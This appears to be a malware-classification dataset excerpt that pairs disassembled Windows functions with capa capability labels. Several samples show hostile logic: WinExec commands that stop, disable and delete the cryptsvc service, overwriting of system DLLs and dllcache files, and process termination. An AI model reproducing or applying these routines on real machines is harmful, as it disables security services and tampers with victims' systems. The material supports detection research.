joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1006b740
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x1006b793
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x1006b77a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10072140
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1009f6ce
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.10072a60
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x100aa05c
call fcn.100910c1
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x100721d3
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.100910c1
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x100721cc
push 0
mov ecx, eax
call fcn.10069240
mov dword [esi + 0xc], eax
jmp 0x100721d5
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x100721d5
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8

Function at 0x10093724
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x1009375c
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.100917db
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.100917b3
jmp 0x10093768
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x10094e19
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x10094e5b
call fcn.1009a8e8
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x10094e5b
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x10094e52
xor eax, eax
jmp 0x10094e63
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.10094e69
pop edi
pop esi
pop ebx
ret 4
Function at 0x401270
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x508
test eax, eax
push ebp
mov ebp, dword [esp + 0x510]
push esi
push edi
je 0x401336
mov eax, dword [0x40f73c]
mov dword [esp + 0xc], 0
test eax, eax
jle 0x4012ec
mov edi, 0x40f740
mov esi, ebp
mov eax, edi
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x4012ca
test cl, cl
je 0x4012c6
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x4012ca
add eax, 2
add esi, 2
test cl, cl
jne 0x4012a6
xor eax, eax
jmp 0x4012cf
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40132a
mov eax, dword [esp + 0xc]
mov ecx, dword [0x40f73c]
inc eax
add edi, 0x104
cmp eax, ecx
mov dword [esp + 0xc], eax
jl 0x4012a2
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push str.my.exe
push ebp
lea eax, [esp + 0x18]
push str._s_s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x401336
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x508
ret
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x115]
mov byte [esp + 0x114], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.my.exe
stosb byte es:[edi], al
call fcn.00402db0
mov eax, dword [0x40f73c]
mov edi, ebp
mov edx, eax
or ecx, 0xffffffff
shl edx, 6
add edx, eax
inc eax
mov dword [0x40f73c], eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [edx*4 + 0x40f740]
mov eax, ecx
mov esi, edi
mov edi, edx
push str.ksuser.dll
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebp
and ecx, 3
push str._s_s
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
lea ecx, [esp + 0x124]
push ecx
call esi
lea edx, [esp + 0x128]
push edx
call fcn.00402cf0
add esp, 0x18
lea eax, [esp + 0x114]
push 0
push eax
push 0x4117c0
call dword [0x40ec38]
push str.midimap.dll
push ebp
lea ecx, [esp + 0x11c]
push str._s_s
push ecx
call esi
lea edx, [esp + 0x124]
push edx
call fcn.00402cf0
add esp, 0x14
lea eax, [esp + 0x114]
push 0
push eax
push 0x4117c0
call dword [0x40ec38]
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x114]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x114]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.msimg32.dll
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x114]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00402cf0
add esp, 4
lea ecx, [esp + 0x114]
push 0
push ecx
push 0x4117c0
call dword [0x40ec38]
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x508
ret
Function at 0x4019a0
Capabilities:
Get disk information

Disassembly:
sub esp, 0x248
push ebx
push ebp
push esi
push edi
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x14]
xor ebp, ebp
push eax
push 0x104
call dword [0x40ec68]
mov al, byte [esp + 0x14]
lea ebx, [esp + 0x14]
test al, al
je 0x401a2f
lea ecx, [esp + 0x118]
mov dword [esp + 0x10], ecx
push ebx
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
cmp eax, 3
jne 0x401a1f
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x10]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
inc ebp
add eax, 0xa
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 0x10], eax
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ebx, [ebx + eax + 1]
cmp byte [ebx], 0
jne 0x4019e8
test ebp, ebp
jle 0x401a5b
mov edi, dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
lea eax, [ebp + ebp*4]
lea esi, [esp + eax*2 + 0x10e]
push esi
call edi
cmp eax, 3
jne 0x401a55
push esi
call fcn.004017d0
add esp, 4
sub esi, 0xa
dec ebp
jne 0x401a44
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x248
ret

Function at 0x401cc0
Capabilities:
Create process on windows

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_WinExec]
push 0
push str.net_stop_cryptsvc
call esi
push 0
push str.sc_config_cryptsvc_start_disabled
call esi
push 0
push str.sc_delete_cryptsvc
call esi
pop esi
ret
Function at 0x401cf0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x410
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x115]
mov byte [esp + 0x114], bl
mov byte [esp + 0x10], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x31c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x31d]
mov byte [esp + 0x218], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x219]
lea edx, [esp + 0x114]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, 0x40f324
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x114]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40d954
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x114]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x424]
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
push esi
push eax
lea ecx, [esp + 0x18]
push str._s_s
push ecx
call edi
lea edx, [esp + 0x124]
push esi
push edx
push str._syu_s
lea eax, [esp + 0x234]
push eax
call edi
add esp, 0x20
lea ecx, [esp + 0x218]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x401e1c
lea edx, [esp + 0x218]
push ebx
lea eax, [esp + 0x14]
push edx
push eax
call dword [0x40ec38]
lea ecx, [esp + 0x10]
push ecx
call fcn.00402cf0
add esp, 4
lea edx, [esp + 0x10]
push ebx
push edx
push 0x4117c0
call dword [0x40ec38]
lea eax, [esp + 0x114]
push esi
push eax
lea ecx, [esp + 0x324]
push str._sdllcache_s
push ecx
call edi
lea edx, [esp + 0x32c]
push edx
call fcn.00402cf0
add esp, 0x14
lea eax, [esp + 0x31c]
lea ecx, [esp + 0x10]
push ebx
push eax
push ecx
call dword [0x40ec38]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x410
ret
Function at 0x402100
Capabilities:
Create process on windows
Enumerate gui resources
Terminate process

Disassembly:
sub esp, 0x2f0
push ebp
mov ebp, ecx
call fcn.004024c0
call fcn.00402b10
call fcn.00401a70
test eax, eax
je 0x402262
push str.my.exe
call fcn.00402be0
add esp, 4
test eax, eax
je 0x40214e
push str.my.exe
call fcn.00402db0
add esp, 4
test eax, eax
jne 0x40214e
push eax
push 0x4020c0
call dword [sym.imp.USER32.dll_EnumWindows]
call fcn.00401b40
lea eax, [esp + 0x260]
mov dword [esp + 0x260], 0x94
push eax
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
call fcn.00401560
call fcn.00401660
call fcn.00401f10
cmp eax, 1
jne 0x40218c
call fcn.00401e90
call fcn.004019a0
jmp 0x402191
call fcn.00401e90
push esi
push edi
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x61]
mov byte [esp + 0x60], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x165]
mov byte [esp + 0x164], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
push 0x40f324
lea ecx, [esp + 0x64]
push str._s_rundll32.exe
push ecx
mov dword [esp + 0x18], 0x44
mov dword [esp + 0x44], 1
mov word [esp + 0x48], 5
call esi
push 0x40f428
push 0x4117c0
lea edx, [esp + 0x178]
push str.__s__ServerMain__s
push edx
call esi
add esp, 0x1c
lea eax, [esp + 0x50]
lea ecx, [esp + 0xc]
lea edx, [esp + 0x164]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x80]
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov ecx, dword [ebp + 0x20]
push 0
push ecx
call dword [sym.imp.USER32.dll_SetParent]
push eax
call sub.MFC42.DLL_CWnd::FromHandle
push 0
call dword [sym.imp.MSVCRT.dll_exit]
pop edi
pop esi
pop ebp
add esp, 0x2f0
ret
Function at 0x402b10
Capabilities:
Get common file path

Disassembly:
push esi
push edi
push 0x104
push 0x40f324
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 0x104
push 0x40f220
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push 0x40f11c
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
mov esi, dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0x104
push 0x40f428
push 0
call esi
mov eax, dword [0x40f734]
mov edi, dword [sym.imp.MSVCRT.dll__strlwr]
test eax, eax
je 0x402b7c
push 0x104
push 0x40f630
push eax
call esi
push 0x40f630
call edi
add esp, 4
push 0x40f428
call edi
push 0x40f428
call fcn.00402bc0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x40f52c
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
ret

Function at 0x402cf0
Capabilities:
Check if file exists
Delete file
Get common file path
Get file attributes
Move file

Disassembly:
sub esp, 0x208
push esi
mov esi, dword [esp + 0x210]
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
push esi
call edi
cmp eax, 0xffffffff
je 0x402d98
push esi
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push esi
call edi
cmp eax, 0xffffffff
je 0x402d98
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x10d]
mov byte [esp + 0x10c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10c]
push 0
push eax
push esi
call fcn.00402c70
add esp, 0xc
lea ecx, [esp + 8]
lea edx, [esp + 0x10c]
push ecx
push 0
push str.TEMP
push edx
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameA]
lea eax, [esp + 8]
push 1
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_MoveFileExA]
call esi
push 4
lea ecx, [esp + 0xc]
push 0
push ecx
call esi
pop edi
pop esi
add esp, 0x208
ret

Function at 0x402db0
Capabilities:
Terminate process

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_OpenProcess]
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push esi
push edi
mov edi, dword [esp + 0x14]
push edi
call fcn.00402be0
add esp, 4
mov esi, eax
push esi
push 0
push 1
call ebx
test eax, eax
je 0x402df4
push 0
push eax
call ebp
test eax, eax
je 0x402df4
test esi, esi
je 0x402dfb
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x402dc4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
Function at 0x4035ac
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x9c3008], 0x8088405
inc edx
mov dword [ebx + 0x9c3008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x41cb84
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ebp
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
cld
mov dl, 0x80
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x41cbb5
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cb9d
add dl, dl
jne 0x41cbc0
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cc11
xor eax, eax
add dl, dl
jne 0x41cbcd
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41ccae
add dl, dl
jne 0x41cbdc
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cbe7
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cbf2
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cbfd
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x41cc07
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x41cbac
mov eax, 1
add dl, dl
jne 0x41cc1f
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cc2a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cc16
sub eax, ebx
mov ebx, 1
jne 0x41cc5d
mov ecx, 1
add dl, dl
jne 0x41cc43
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41cc4e
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cc3a
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cbac
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x41cc74
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41cc7f
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cc6b
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cbac
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x41cccf
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x41cbac
pop ebp
sub edi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x41dffc
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x9ae4bb
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov ecx, ebx
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [ecx + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x78]
test edx, edx
je 0x41e0ad
add edx, ebx
mov eax, edx
mov esi, dword [eax + 0x18]
mov edx, dword [eax + 0x1c]
add edx, ebx
mov dword [ebp - 0x10], edx
mov edi, dword [eax + 0x20]
add edi, ebx
mov edx, dword [eax + 0x24]
add edx, ebx
mov dword [ebp - 0xc], edx
mov edx, dword [ebp - 4]
cmp edx, 0xffff
jbe 0x41e096
test esi, esi
jbe 0x41e0ad
mov eax, dword [edi]
add eax, ebx
mov edx, dword [ebp - 4]
call fcn.004088a4
test eax, eax
jne 0x41e088
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x41e0ad
add dword [ebp - 0xc], 2
add edi, 4
dec esi
test esi, esi
ja 0x41e065
jmp 0x41e0ad
mov ecx, edx
sub ecx, dword [eax + 0x10]
cmp ecx, dword [eax + 0x14]
jae 0x41e0ad
mov eax, ecx
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x9ae4c2
ret
Function at 0x41e8f0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ecx
mov word [ebp - 2], dx
xor eax, eax
push ebp
push 0x9aee9f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00404cd0
xor ebx, ebx
mov eax, ebx
and eax, 0x80000001
jns 0x41e92b
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x41e944
lea eax, [ebp - 0x10]
mov edx, dword [0x9c523c]
mov edx, dword [edx]
mov edx, dword [edx + 0xc]
call fcn.00404d30
jmp 0x41e957
lea eax, [ebp - 0x10]
mov edx, dword [0x9c523c]
mov edx, dword [edx]
mov edx, dword [edx + 0x10]
call fcn.00404d30
lea eax, [ebp - 0x10]
mov edx, ebx
sar edx, 1
jns 0x41e963
adc edx, 0
mov edx, dword [edx*4 + 0x9c40d0]
call fcn.00404f20
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0x10]
call fcn.00404f04
push eax
call fcn.00406af4
mov esi, eax
cmp esi, 0xffffffff
je 0x41ea71
mov eax, 0x40
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0x40
push edi
push esi
call fcn.00406d3c
test eax, eax
je 0x41ea64
mov eax, edi
cmp word [eax], 0x5a4d
jne 0x41ea64
push 0
push 0
mov eax, dword [eax + 0x3c]
push eax
push esi
call fcn.00406d94
mov eax, edi
call fcn.00403288
mov eax, 0x18
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0x18
push edi
push esi
call fcn.00406d3c
test eax, eax
je 0x41ea64
mov eax, edi
cmp dword [eax], 0x4550
jne 0x41ea64
add eax, 4
mov dx, word [eax]
cmp dx, 0x14c
jb 0x41ea64
cmp dx, 0x150
ja 0x41ea64
mov eax, edi
call fcn.00403288
mov eax, 0xe0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0xe0
push edi
push esi
call fcn.00406d3c
test eax, eax
je 0x41ea64
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 2]
jne 0x41ea64
mov eax, dword [eax + 0x10]
mov edx, dword [ebp - 8]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
mov eax, edi
call fcn.00403288
push esi
call fcn.00406aac
mov eax, dword [ebp + 8]
mov eax, dword [eax]
xor edx, edx
call fcn.0040502c
jne 0x41ea89
inc ebx
cmp ebx, 0x19
jne 0x41e91d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x9aeea6
lea eax, [ebp - 0x10]
call fcn.00404cd0
ret
Function at 0x40d240
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40d255
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x40d296
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x40d292
nop word [eax + eax]
cmp esi, edx
jae 0x40d296
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x40d280
cmp esi, edx
jb 0x40d29b
xor eax, eax
pop esi
pop ebp
ret
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop ebp
ret

Function at 0x414590
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x453268
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x470024]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
lea eax, [ebp - 0x10]
push eax
call fcn.004167d0
mov dword [ebp - 4], 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
mov dword [ebp - 4], 0xffffffff
or ecx, 0xffffffff
mov edx, dword [ebp - 0x10]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x4145f3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp esi, 0xffffffff
je 0x41460b
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea eax, [edi + 0x18]
push eax
lea eax, [ebp - 0x10]
push str.Accessing_attributes_for_file
push eax
call fcn.0040a4a0
add esp, 0xc
mov dword [ebp - 4], 2
mov ecx, eax
call fcn.0040bee0
push eax
push 0x298
push str.d:uworkspaceinstallercore_vs2017_3s_sw_relgpu_drvinstaller_coreinstaller_core_vs2017_nvi2lib_filepath.cpp
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00415f30
int3
Function at 0x414820
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x453268
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x470024]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
lea eax, [ebp - 0x10]
push eax
call fcn.004167d0
mov dword [ebp - 4], 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
mov dword [ebp - 4], 0xffffffff
or ecx, 0xffffffff
mov edx, dword [ebp - 0x10]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x414883
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp esi, 0xffffffff
jne 0x4148ad
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp esi, 2
je 0x41489a
cmp esi, 3
jne 0x4148c0
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea ecx, [edi + 0x18]
push ecx
lea eax, [ebp - 0x10]
push str.While_checking_exists
push eax
call fcn.0040a4a0
add esp, 0xc
mov dword [ebp - 4], 2
mov ecx, eax
call fcn.0040bee0
push eax
push 0x2a8
push str.d:uworkspaceinstallercore_vs2017_3s_sw_relgpu_drvinstaller_coreinstaller_core_vs2017_nvi2lib_filepath.cpp
push esi
call fcn.00415f30
int3